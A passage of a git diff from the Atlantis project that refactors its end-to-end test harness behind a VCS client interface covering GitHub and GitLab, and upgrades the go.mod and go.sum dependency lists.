h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= +github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= +github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= +github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= +gitlab.com/gitlab-org/api/client-go v0.118.0 h1:qHIEw+XHt+2xuk4iZGW8fc6t+gTLAGEmTA5Bzp/brxs= +gitlab.com/gitlab-org/api/client-go v0.118.0/go.mod h1:E+X2dndIYDuUfKVP0C3jhkWvTSE00BkLbCsXTY3edDo= +golang.org/x/oauth2 v0.27.0 h1:da9Vo7/tDv5RH/7nZDz1eMGS/q1Vv1N/7FCrBhI9I3M= +golang.org/x/oauth2 v0.27.0/go.mod h1:onh5ek6nERTohokkhCD/y2cV4Do3fxFHFuAejCkRWT8= +golang.org/x/sys v0.28.0 h1:Fksou7UEQUWlKvIdsqzJmUmCX3cZuD2+P3XyyzwMhlA= +golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/time v0.3.0 h1:rg5rLMjNzMS1RkNLzCG38eapWhnYLFYXDXj2gOlr8j4= +golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/e2e/main.go b/e2e/main.go index ee837d9908..dacee30451 100644 --- a/e2e/main.go +++ b/e2e/main.go @@ -15,13 +15,12 @@ package main import ( "context" + "errors" "log" "os" - "strings" "fmt" - "github.com/google/go-github/v28/github" multierror "github.com/hashicorp/go-multierror" ) @@ -36,32 +35,29 @@ type Project struct { ApplyCommand string } -func main() { +func getVCSClient() (VCSClient, error) { - githubUsername := os.Getenv("GITHUB_USERNAME") - if githubUsername == "" { - log.Fatalf("GITHUB_USERNAME cannot be empty") + if os.Getenv("ATLANTIS_GH_USER") != "" { + log.Print("Running tests for github") + return NewGithubClient(), nil } - githubToken := os.Getenv("GITHUB_PASSWORD") - if githubToken == "" { - log.Fatalf("GITHUB_PASSWORD cannot be empty") + if os.Getenv("ATLANTIS_GITLAB_USER") != "" { + log.Print("Running tests for gitlab") + return NewGitlabClient(), nil } + + return nil, errors.New("could not determine which vcs client") +} + +func main() { + atlantisURL := os.Getenv("ATLANTIS_URL") if atlantisURL == "" { atlantisURL = defaultAtlantisURL } // add /events to the url atlantisURL = fmt.Sprintf("%s/events", atlantisURL) - ownerName := os.Getenv("GITHUB_REPO_OWNER_NAME") - if ownerName == "" { - ownerName = "runatlantis" - } - repoName := os.Getenv("GITHUB_REPO_NAME") - if repoName == "" { - repoName = "atlantis-tests" - } - // using https to clone the repo - repoURL := fmt.Sprintf("https://%s:%s@github.com/%s/%s.git", githubUsername, githubToken, ownerName, repoName) + cloneDirRoot := os.Getenv("CLONE_DIR") if cloneDirRoot == "" { cloneDirRoot = "/tmp/atlantis-tests" @@ -74,38 +70,31 @@ func main() { log.Fatalf("failed to clean dir %q before cloning, attempting to continue: %v", cloneDirRoot, err) } - // create github client - tp := github.BasicAuthTransport{ - Username: strings.TrimSpace(githubUsername), - Password: strings.TrimSpace(githubToken), + vcsClient, err := getVCSClient() + if err != nil { + log.Fatalf("failed to get vcs client: %v", err) } - ghClient := github.NewClient(tp.Client()) - - githubClient := &GithubClient{client: ghClient, ctx: context.Background(), username: githubUsername} - + ctx := context.Background() // we create atlantis hook once for the repo, since the atlantis server can handle multiple requests log.Printf("creating atlantis webhook with %s url", atlantisURL) - hookID, err := createAtlantisWebhook(githubClient, ownerName, repoName, atlantisURL) + hookID, err := vcsClient.CreateAtlantisWebhook(ctx, atlantisURL) if err != nil { log.Fatalf("error creating atlantis webhook: %v", err) } // create e2e test e2e := E2ETester{ - githubClient: githubClient, - repoURL: repoURL, - ownerName: ownerName, - repoName: repoName, + vcsClient: vcsClient, hookID: hookID, cloneDirRoot: cloneDirRoot, } // start e2e tests - results, err := startTests(e2e) + results, err := startTests(ctx, e2e) log.Printf("Test Results\n---------------------------\n") for _, result := range results { fmt.Printf("Project Type: %s \n", result.projectType) - fmt.Printf("Pull Request Link: %s \n", result.githubPullRequestURL) + fmt.Printf("Pull Request Link: %s \n", result.pullRequestURL) fmt.Printf("Atlantis Run Status: %s \n", result.testResult) fmt.Println("---------------------------") } @@ -115,52 +104,21 @@ func main() { } -func createAtlantisWebhook(g *GithubClient, ownerName string, repoName string, hookURL string) (int64, error) { - // create atlantis hook - atlantisHook := &github.Hook{ - Events: []string{"issue_comment", "pull_request", "push"}, - Config: map[string]interface{}{ - "url": hookURL, - "content_type": "json", - }, - Active: github.Bool(true), - } - - // moved to github.go - hook, _, err := g.client.Repositories.CreateHook(g.ctx, ownerName, repoName, atlantisHook) - if err != nil { - return 0, err - } - log.Println(hook.GetURL()) - - return hook.GetID(), nil -} - -func deleteAtlantisHook(g *GithubClient, ownerName string, repoName string, hookID int64) error { - _, err := g.client.Repositories.DeleteHook(g.ctx, ownerName, repoName, hookID) - if err != nil { - return err - } - log.Printf("deleted webhook id %d", hookID) - - return nil -} - func cleanDir(path string) error { return os.RemoveAll(path) } -func startTests(e2e E2ETester) ([]*E2EResult, error) { +func startTests(ctx context.Context, e2e E2ETester) ([]*E2EResult, error) { var testResults []*E2EResult var testErrors *multierror.Error // delete webhook when we are done running tests - defer deleteAtlantisHook(e2e.githubClient, e2e.ownerName, e2e.repoName, e2e.hookID) // nolint: errcheck + defer e2e.vcsClient.DeleteAtlantisHook(ctx, e2e.hookID) // nolint: errcheck for _, projectType := range projectTypes { log.Printf("starting e2e test for project type %q", projectType.Name) e2e.projectType = projectType // start e2e test - result, err := e2e.Start() + result, err := e2e.Start(ctx) testResults = append(testResults, result) testErrors = multierror.Append(testErrors, err) } diff --git a/e2e/vcs.go b/e2e/vcs.go new file mode 100644 index 0000000000..2648a913fe --- /dev/null +++ b/e2e/vcs.go @@ -0,0 +1,28 @@ +// Copyright 2017 HootSuite Media Inc. +// +// Licensed under the Apache License, Version 2.0 (the License); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// http://www.apache.org/licenses/LICENSE-2.0 +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an AS IS BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// Modified hereafter by contributors to runatlantis/atlantis. + +package main + +import "context" + +type VCSClient interface { + Clone(cloneDir string) error + CreateAtlantisWebhook(ctx context.Context, hookURL string) (int64, error) + DeleteAtlantisHook(ctx context.Context, hookID int64) error + CreatePullRequest(ctx context.Context, title, branchName string) (string, int, error) + GetAtlantisStatus(ctx context.Context, branchName string) (string, error) + ClosePullRequest(ctx context.Context, pullRequestNumber int) error + DeleteBranch(ctx context.Context, branchName string) error + IsAtlantisInProgress(state string) bool + DidAtlantisSucceed(state string) bool +} diff --git a/go.mod b/go.mod index 06f2d22d20..c396ef383f 100644 --- a/go.mod +++ b/go.mod @@ -1,76 +1,144 @@ module github.com/runatlantis/atlantis -go 1.14 +go 1.24.4 require ( - github.com/Laisky/graphql v1.0.4 - github.com/Masterminds/semver v1.4.2 // indirect - github.com/Masterminds/sprig v2.15.0+incompatible - github.com/agext/levenshtein v1.2.3 // indirect - github.com/aokoli/goutils v1.0.1 // indirect - github.com/asaskevich/govalidator v0.0.0-20190424111038-f61b66f89f4a // indirect - github.com/aws/aws-sdk-go v1.17.14 // indirect - github.com/bradleyfalzon/ghinstallation v1.1.1 - github.com/briandowns/spinner v0.0.0-20170614154858-48dbb65d7bd5 - github.com/davecgh/go-spew v1.1.1 - github.com/dgrijalva/jwt-go v3.2.0+incompatible - github.com/docker/docker v0.0.0-20180620051407-e2593239d949 - github.com/elazarl/go-bindata-assetfs v1.0.0 - github.com/flynn-archive/go-shlex v0.0.0-20150515145356-3f9db97f8568 - github.com/go-ozzo/ozzo-validation v0.0.0-20170913164239-85dcd8368eba - github.com/go-playground/locales v0.12.1 // indirect - github.com/go-playground/universal-translator v0.16.0 // indirect - github.com/go-test/deep v1.0.3 - github.com/google/go-cmp v0.5.2 // indirect - github.com/google/go-github/v31 v31.0.0 - github.com/google/uuid v0.0.0-20161128191214-064e2069ce9c // indirect - github.com/gorilla/context v0.0.0-20160226214623-1ea25387ff6f // indirect - github.com/gorilla/mux v1.6.2 - github.com/hashicorp/go-getter v1.4.0 - github.com/hashicorp/go-version v1.2.0 - github.com/hashicorp/hcl v1.0.0 // indirect - github.com/hashicorp/hcl/v2 v2.6.0 // indirect - github.com/hashicorp/terraform-config-inspect v0.0.0-20200806211835-c481b8bfa41e - github.com/huandu/xstrings v1.0.0 // indirect - github.com/imdario/mergo v0.3.5 // indirect - github.com/inconshreveable/mousetrap v1.0.0 // indirect - github.com/magiconair/properties v1.7.3 // indirect - github.com/mcdafydd/go-azuredevops v0.11.1 - github.com/microcosm-cc/bluemonday v1.0.1 - github.com/mitchellh/colorstring v0.0.0-20150917214807-8631ce90f286 - github.com/mitchellh/go-homedir v1.0.0 - github.com/mitchellh/mapstructure v0.0.0-20170523030023-d0303fe80992 // indirect - github.com/mohae/deepcopy v0.0.0-20170603005431-491d3605edfb - github.com/nlopes/slack v0.1.0 - github.com/onsi/ginkgo v1.9.0 // indirect - github.com/onsi/gomega v1.4.3 // indirect - github.com/pelletier/go-buffruneio v0.2.0 // indirect - github.com/pelletier/go-toml v1.0.0 // indirect - github.com/petergtz/pegomock v2.7.0+incompatible - github.com/pkg/errors v0.8.0 + code.gitea.io/sdk/gitea v0.21.0 + github.com/Masterminds/sprig/v3 v3.3.0 + github.com/alicebob/miniredis/v2 v2.34.0 + github.com/bmatcuk/doublestar/v4 v4.8.1 + github.com/bradleyfalzon/ghinstallation/v2 v2.15.0 + github.com/briandowns/spinner v1.23.2 + github.com/cactus/go-statsd-client/v5 v5.1.0 + github.com/drmaxgit/go-azuredevops v0.13.2 + github.com/go-ozzo/ozzo-validation v3.6.0+incompatible + github.com/go-playground/validator/v10 v10.26.0 + github.com/go-test/deep v1.1.1 + github.com/gofri/go-github-ratelimit v1.1.1 + github.com/golang-jwt/jwt/v5 v5.2.2 + github.com/google/go-github/v71 v71.0.0 + github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 + github.com/google/uuid v1.6.0 + github.com/gorilla/mux v1.8.1 + github.com/gorilla/websocket v1.5.3 + github.com/hashicorp/go-getter/v2 v2.2.3 + github.com/hashicorp/go-version v1.7.0 + github.com/hashicorp/golang-lru/v2 v2.0.7 + github.com/hashicorp/hc-install v0.9.2 + github.com/hashicorp/terraform-config-inspect v0.0.0-20250401063509-d2d12f9a63bb + github.com/jpillora/backoff v1.0.0 + github.com/kr/pretty v0.3.1 + github.com/microcosm-cc/bluemonday v1.0.27 + github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db + github.com/mitchellh/go-homedir v1.1.0 + github.com/moby/patternmatcher v0.6.0 + github.com/mohae/deepcopy v0.0.0-20170929034955-c48cc78d4826 + github.com/opentofu/tofudl v0.0.1 + github.com/petergtz/pegomock/v4 v4.1.0 + github.com/pkg/errors v0.9.1 + github.com/redis/go-redis/v9 v9.7.3 github.com/remeh/sizedwaitgroup v1.0.0 - github.com/shurcooL/githubv4 v0.0.0-20191127044304-8f68eb5628d0 - github.com/shurcooL/graphql v0.0.0-20181231061246-d48a9a75455f // indirect - github.com/sirupsen/logrus v1.2.0 // indirect - github.com/spf13/afero v0.0.0-20170901052352-ee1bd8ee15a1 // indirect - github.com/spf13/cast v1.1.0 // indirect - github.com/spf13/cobra v0.0.0-20170905172051-b78744579491 - github.com/spf13/jwalterweatherman v0.0.0-20170901151539-12bd96e66386 // indirect - github.com/spf13/pflag v1.0.5 - github.com/spf13/viper v1.0.0 - github.com/ulikunitz/xz v0.5.6 // indirect - github.com/urfave/cli v1.20.0 - github.com/urfave/negroni v0.2.0 - github.com/xanzy/go-gitlab v0.34.1 - github.com/zclconf/go-cty v1.5.1 // indirect - go.etcd.io/bbolt v1.3.4 - golang.org/x/crypto v0.0.0-20200403201458-baeed622b8d8 - golang.org/x/net v0.0.0-20191126235420-ef20fe5d7933 // indirect - golang.org/x/oauth2 v0.0.0-20191122200657-5d9234df094c // indirect - golang.org/x/text v0.3.3 // indirect - google.golang.org/appengine v1.6.5 // indirect - gopkg.in/go-playground/assert.v1 v1.2.1 // indirect - gopkg.in/go-playground/validator.v9 v9.20.2 - gopkg.in/yaml.v2 v2.2.2 - gotest.tools v2.2.0+incompatible // indirect + github.com/shurcooL/githubv4 v0.0.0-20240727222349-48295856cce7 + github.com/slack-go/slack v0.16.0 + github.com/spf13/cobra v1.9.1 + github.com/spf13/pflag v1.0.6 + github.com/spf13/viper v1.20.1 + github.com/stretchr/testify v1.10.0 + github.com/uber-go/tally/v4 v4.1.17 + github.com/urfave/negroni/v3 v3.1.1 + gitlab.com/gitlab-org/api/client-go v0.118.0 + go.etcd.io/bbolt v1.4.0 + go.uber.org/zap v1.27.0 + golang.org/x/term v0.31.0 + golang.org/x/text v0.24.0 + gopkg.in/yaml.v3 v3.0.1 +) + +require ( + github.com/agext/levenshtein v1.2.3 + github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 // indirect + github.com/hashicorp/hcl/v2 v2.23.0 + github.com/shurcooL/graphql v0.0.0-20220606043923-3cf50f8a0a29 // indirect + go.uber.org/atomic v1.11.0 // indirect +) + +require github.com/twmb/murmur3 v1.1.8 // indirect + +require ( + dario.cat/mergo v1.0.1 // indirect + github.com/42wim/httpsig v1.2.2 // indirect + github.com/Masterminds/goutils v1.1.1 // indirect + github.com/Masterminds/semver/v3 v3.3.0 // indirect + github.com/ProtonMail/go-crypto v1.1.6 // indirect + github.com/ProtonMail/go-mime v0.0.0-20230322103455-7d82a3887f2f // indirect + github.com/ProtonMail/gopenpgp/v2 v2.7.5 // indirect + github.com/alicebob/gopher-json v0.0.0-20230218143504-906a9b012302 // indirect + github.com/apparentlymart/go-textseg/v15 v15.0.0 // indirect + github.com/aymerick/douceur v0.2.0 // indirect + github.com/beorn7/perks v1.0.1 // indirect + github.com/bgentry/go-netrc v0.0.0-20140422174119-9fd32a8b3d3d // indirect + github.com/cespare/xxhash/v2 v2.3.0 // indirect + github.com/cloudflare/circl v1.6.1 // indirect + github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect + github.com/davidmz/go-pageant v1.0.2 // indirect + github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f // indirect + github.com/fatih/color v1.16.0 // indirect + github.com/fsnotify/fsnotify v1.8.0 // indirect + github.com/gabriel-vasile/mimetype v1.4.8 // indirect + github.com/go-fed/httpsig v1.1.0 // indirect + github.com/go-playground/locales v0.14.1 // indirect + github.com/go-playground/universal-translator v0.18.1 // indirect + github.com/go-viper/mapstructure/v2 v2.2.1 // indirect + github.com/golang-jwt/jwt/v4 v4.5.2 // indirect + github.com/golang/mock v1.6.0 // indirect + github.com/golang/protobuf v1.5.4 // indirect + github.com/google/go-cmp v0.7.0 // indirect + github.com/google/go-querystring v1.1.0 // indirect + github.com/gorilla/css v1.0.1 // indirect + github.com/hashicorp/errwrap v1.1.0 // indirect + github.com/hashicorp/go-cleanhttp v0.5.2 // indirect + github.com/hashicorp/go-multierror v1.1.1 // indirect + github.com/hashicorp/go-retryablehttp v0.7.7 // indirect + github.com/hashicorp/go-safetemp v1.0.0 // indirect + github.com/hashicorp/hcl v1.0.0 // indirect + github.com/huandu/xstrings v1.5.0 // indirect + github.com/inconshreveable/mousetrap v1.1.0 // indirect + github.com/klauspost/compress v1.17.2 // indirect + github.com/kr/text v0.2.0 // indirect + github.com/leodido/go-urn v1.4.0 // indirect + github.com/mattn/go-colorable v0.1.13 // indirect + github.com/mattn/go-isatty v0.0.20 // indirect + github.com/matttproud/golang_protobuf_extensions v1.0.4 // indirect + github.com/mitchellh/copystructure v1.2.0 // indirect + github.com/mitchellh/go-testing-interface v1.14.1 // indirect + github.com/mitchellh/go-wordwrap v1.0.1 // indirect + github.com/mitchellh/reflectwalk v1.0.2 // indirect + github.com/onsi/gomega v1.27.6 // indirect + github.com/pelletier/go-toml/v2 v2.2.3 // indirect + github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect + github.com/prometheus/client_golang v1.12.1 // indirect + github.com/prometheus/client_model v0.2.0 // indirect + github.com/prometheus/common v0.34.0 // indirect + github.com/prometheus/procfs v0.10.1 // indirect + github.com/rogpeppe/go-internal v1.9.0 // indirect + github.com/sagikazarmark/locafero v0.7.0 // indirect + github.com/shopspring/decimal v1.4.0 // indirect + github.com/sourcegraph/conc v0.3.0 // indirect + github.com/spf13/afero v1.12.0 // indirect + github.com/spf13/cast v1.7.1 // indirect + github.com/subosito/gotenv v1.6.0 // indirect + github.com/ulikunitz/xz v0.5.11 // indirect + github.com/yuin/gopher-lua v1.1.1 // indirect + github.com/zclconf/go-cty v1.14.4 // indirect + go.uber.org/multierr v1.11.0 // indirect + golang.org/x/crypto v0.36.0 // indirect + golang.org/x/exp v0.0.0-20231006140011-7918f672742d // indirect + golang.org/x/mod v0.24.0 // indirect + golang.org/x/net v0.38.0 // indirect + golang.org/x/oauth2 v0.27.0 // indirect + golang.org/x/sync v0.13.0 // indirect + golang.org/x/sys v0.32.0 // indirect + golang.org/x/time v0.8.0 // indirect + golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d // indirect + google.golang.org/protobuf v1.36.1 // indirect ) diff --git a/go.sum b/go.sum index f24067c329..e6138bf070 100644 --- a/go.sum +++ b/go.sum @@ -3,266 +3,540 @@ cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMT cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU= cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= -cloud.google.com/go v0.45.1 h1:lRi0CHyU+ytlvylOlFKKq0af6JncuyoRh1J+QJBqQx0= cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc= +cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0= +cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To= +cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4= +cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M= +cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc= +cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk= +cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs= +cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc= +cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY= cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= +cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE= +cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc= +cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg= +cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc= +cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ= cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= +cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk= +cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= +cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw= +cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA= +cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU= +cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= +cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos= +cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= +cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs= +cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= +code.gitea.io/sdk/gitea v0.21.0 h1:69n6oz6kEVHRo1+APQQyizkhrZrLsTLXey9142pfkD4= +code.gitea.io/sdk/gitea v0.21.0/go.mod h1:tnBjVhuKJCn8ibdyyhvUyxrR1Ca2KHEoTWoukNhXQPA= +dario.cat/mergo v1.0.1 h1:Ra4+bf83h2ztPIQYNP99R6m+Y7KfnARDfID+a+vLl4s= +dario.cat/mergo v1.0.1/go.mod h1:uNxQE+84aUszobStD9th8a29P2fMDhsBdgRYvZOxGmk= +dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= +github.com/42wim/httpsig v1.2.2 h1:ofAYoHUNs/MJOLqQ8hIxeyz2QxOz8qdSVvp3PX/oPgA= +github.com/42wim/httpsig v1.2.2/go.mod h1:P/UYo7ytNBFwc+dg35IubuAUIs8zj5zzFIgUCEl55WY= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= -github.com/Laisky/graphql v1.0.4 h1:GQF3eKXK1m+viDIvafW7P3zB8qY0PxHwrNUlmonhIC8= -github.com/Laisky/graphql v1.0.4/go.mod h1:8nTxZuOwua8Ga6EFL1HuF9rNiJtvSEnwGXGLnW+9i9k= -github.com/Masterminds/semver v1.4.2 h1:WBLTQ37jOCzSLtXNdoo8bNM8876KhNqOKvrlGITgsTc= -github.com/Masterminds/semver v1.4.2/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y= -github.com/Masterminds/sprig v2.15.0+incompatible h1:0gSxPGWS9PAr7U2NsQ2YQg6juRDINkUyuvbb4b2Xm8w= -github.com/Masterminds/sprig v2.15.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o= -github.com/agext/levenshtein v1.2.1/go.mod h1:JEDfjyjHDjOF/1e4FlBE/PkbqA9OfWu2ki2W0IB5558= -github.com/agext/levenshtein v1.2.2 h1:0S/Yg6LYmFJ5stwQeRp6EeOcCbj7xiqQSdNelsXvaqE= -github.com/agext/levenshtein v1.2.2/go.mod h1:JEDfjyjHDjOF/1e4FlBE/PkbqA9OfWu2ki2W0IB5558= +github.com/Masterminds/goutils v1.1.1 h1:5nUrii3FMTL5diU80unEVvNevw1nH4+ZV4DSLVJLSYI= +github.com/Masterminds/goutils v1.1.1/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy863GQaJW2MFNU= +github.com/Masterminds/semver/v3 v3.3.0 h1:B8LGeaivUe71a5qox1ICM/JLl0NqZSW5CHyL+hmvYS0= +github.com/Masterminds/semver/v3 v3.3.0/go.mod h1:4V+yj/TJE1HU9XfppCwVMZq3I84lprf4nC11bSS5beM= +github.com/Masterminds/sprig/v3 v3.3.0 h1:mQh0Yrg1XPo6vjYXgtf5OtijNAKJRNcTdOOGZe3tPhs= +github.com/Masterminds/sprig/v3 v3.3.0/go.mod h1:Zy1iXRYNqNLUolqCpL4uhk6SHUMAOSCzdgBfDb35Lz0= +github.com/Microsoft/go-winio v0.6.2 h1:F2VQgta7ecxGYO8k3ZZz3RS8fVIXVxONVUPlNERoyfY= +github.com/Microsoft/go-winio v0.6.2/go.mod h1:yd8OoFMLzJbo9gZq8j5qaps8bJ9aShtEA8Ipt1oGCvU= +github.com/ProtonMail/go-crypto v0.0.0-20230717121422-5aa5874ade95/go.mod h1:EjAoLdwvbIOoOQr3ihjnSoLZRtE8azugULFRteWMNc0= +github.com/ProtonMail/go-crypto v1.1.6 h1:ZcV+Ropw6Qn0AX9brlQLAUXfqLBc7Bl+f/DmNxpLfdw= +github.com/ProtonMail/go-crypto v1.1.6/go.mod h1:rA3QumHc/FZ8pAHreoekgiAbzpNsfQAosU5td4SnOrE= +github.com/ProtonMail/go-mime v0.0.0-20230322103455-7d82a3887f2f h1:tCbYj7/299ekTTXpdwKYF8eBlsYsDVoggDAuAjoK66k= +github.com/ProtonMail/go-mime v0.0.0-20230322103455-7d82a3887f2f/go.mod h1:gcr0kNtGBqin9zDW9GOHcVntrwnjrK+qdJ06mWYBybw= +github.com/ProtonMail/gopenpgp/v2 v2.7.5 h1:STOY3vgES59gNgoOt2w0nyHBjKViB/qSg7NjbQWPJkA= +github.com/ProtonMail/gopenpgp/v2 v2.7.5/go.mod h1:IhkNEDaxec6NyzSI0PlxapinnwPVIESk8/76da3Ct3g= github.com/agext/levenshtein v1.2.3 h1:YB2fHEn0UJagG8T1rrWknE3ZQzWM06O8AMAatNn7lmo= github.com/agext/levenshtein v1.2.3/go.mod h1:JEDfjyjHDjOF/1e4FlBE/PkbqA9OfWu2ki2W0IB5558= -github.com/aokoli/goutils v1.0.1 h1:7fpzNGoJ3VA8qcrm++XEE1QUe0mIwNeLa02Nwq7RDkg= -github.com/aokoli/goutils v1.0.1/go.mod h1:SijmP0QR8LtwsmDs8Yii5Z/S4trXFGFC2oO5g9DP+DQ= -github.com/apparentlymart/go-dump v0.0.0-20180507223929-23540a00eaa3/go.mod h1:oL81AME2rN47vu18xqj1S1jPIPuN7afo62yKTNn3XMM= -github.com/apparentlymart/go-textseg v1.0.0 h1:rRmlIsPEEhUTIKQb7T++Nz/A5Q6C9IuX2wFoYVvnCs0= -github.com/apparentlymart/go-textseg v1.0.0/go.mod h1:z96Txxhf3xSFMPmb5X/1W05FF/Nj9VFpLOpjS5yuumk= -github.com/apparentlymart/go-textseg/v12 v12.0.0 h1:bNEQyAGak9tojivJNkoqWErVCQbjdL7GzRt3F8NvfJ0= -github.com/apparentlymart/go-textseg/v12 v12.0.0/go.mod h1:S/4uRK2UtaQttw1GenVJEynmyUenKwP++x/+DdGV/Ec= -github.com/asaskevich/govalidator v0.0.0-20190424111038-f61b66f89f4a h1:idn718Q4B6AGu/h5Sxe66HYVdqdGu2l9Iebqhi/AEoA= -github.com/asaskevich/govalidator v0.0.0-20190424111038-f61b66f89f4a/go.mod h1:lB+ZfQJz7igIIfQNfa7Ml4HSf2uFQQRzpGGRXenZAgY= -github.com/aws/aws-sdk-go v1.15.78/go.mod h1:E3/ieXAlvM0XWO57iftYVDLLvQ824smPP3ATZkfNZeM= -github.com/aws/aws-sdk-go v1.17.14 h1:IjqZDIQoLyZ48A93BxVrZOaIGgZPRi4nXt6WQUMJplY= -github.com/aws/aws-sdk-go v1.17.14/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo= +github.com/alecthomas/template 